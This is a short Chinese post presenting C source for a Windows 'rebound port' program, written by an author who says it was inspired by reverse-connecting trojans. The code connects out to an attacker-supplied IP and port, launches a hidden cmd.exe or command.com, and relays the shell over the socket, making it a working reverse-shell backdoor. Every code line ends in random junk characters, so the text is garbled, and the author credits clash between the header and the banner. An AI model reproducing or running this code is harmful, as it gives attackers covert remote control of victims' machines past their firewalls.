这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 N(7 XILC
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/* ============================== <l<O2 l
Rebound port in Windows NT qdix@@
By wind,2006/7 0SI@`C*1o
===============================*/ Z~J]I|R:
#include 62sl6WWS3
#include ,.<mj !YE
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#pragma comment(lib,"wsock32.lib") X<%D@$
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void OutputShell(); ~m6=s~Vn
SOCKET sClient; O-(V`BZe
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; B]X8KzLu
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void main(int argc,char **argv) TPN+jK
{ (.4lsKN<
WSADATA stWsaData; ).71gp@&
int nRet; v6*0@/L
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SOCKADDR_IN stSaiClient,stSaiServer; Hm2Y%
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if(argc != 3) |[.-pA^
{ g+#awi7
printf("Useage:\n\rRebound DestIP DestPort\n"); sycAAmH<
return; j.q}OK
} fu5L)P^T
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WSAStartup(MAKEWORD(2,2),&stWsaData); @ZJL]TO
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); FP=B/!g
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stSaiClient.sin_family = AF_INET; !l%:
stSaiClient.sin_port = htons(0); E.K^v/dNdq
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); }Fjbj5w0
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Jy(G
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{ ;C@mT;hR
printf("Bind Socket Failed!\n"); & P-8_I
return; 2z-Nw <bA
} `\UY5n72
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stSaiServer.sin_family = AF_INET; _*o<<C\E
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Z*k(Q5&U
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ~Gfytn9x.;
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) A*OqUq/H`;
{ H!IVbL`a{
printf("Connect Error!"); #~
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return; c""&He4zp
}
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OutputShell(); OFtaOjsyUa
} Pxr/*X
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void OutputShell() QY;(Ny/(y
{ Tx.N#,T|
char szBuff[1024]; 9S%5Z>
SECURITY_ATTRIBUTES stSecurityAttributes; p~w] ~\
OSVERSIONINFO stOsversionInfo; +?*;#=q
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; .y
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STARTUPINFO stStartupInfo; ^C'S-2nGH
char *szShell; ,j_js8r
PROCESS_INFORMATION stProcessInformation; =ANr|d
unsigned long lBytesRead; 8B GZ
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); y RxrfAdS
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); n[jXqFm!`
stSecurityAttributes.lpSecurityDescriptor = 0; :BPgDLL,
stSecurityAttributes.bInheritHandle = TRUE; ;oOTL'Vu
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); A$@;Q5/2
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); sBadiDG~9
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); C!+D]7\j
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; x {NBhq(4
stStartupInfo.wShowWindow = SW_HIDE; !{-W%=Kf
stStartupInfo.hStdInput = hReadPipe; }h^
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; MN<LZC%$
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GetVersionEx(&stOsversionInfo); "&={E{pQ
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switch(stOsversionInfo.dwPlatformId) )h]+cGM
{ *HD(\;i-$
case 1: x Q"uC!Gu4
szShell = "command.com"; Jq0sZ0j
break; GKoYT{6
default: ]'pfw9"f~
szShell = "cmd.exe"; d#T5=5#
break; O&7.Ry
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} $]|3^(y``
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); .s<0}<Aq>
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send(sClient,szMsg,77,0); VZqCFE3
while(1) $[X][[
{ |5vJ:'` I
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); E 3'I;
if(lBytesRead) .!4'Y}
{ (1CP]5W
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 4 ?BQ&d
send(sClient,szBuff,lBytesRead,0); c^w^'<
} }5fd:B m;
else *<^C0:i(
{ PY.HZ/#d
lBytesRead=recv(sClient,szBuff,1024,0); sK%b16#
if(lBytesRead<=0) break; RFbf2s\t
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Z RjM^
d;
} XuP%/\
} cpk\;1&t
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return; 0gqV>:
}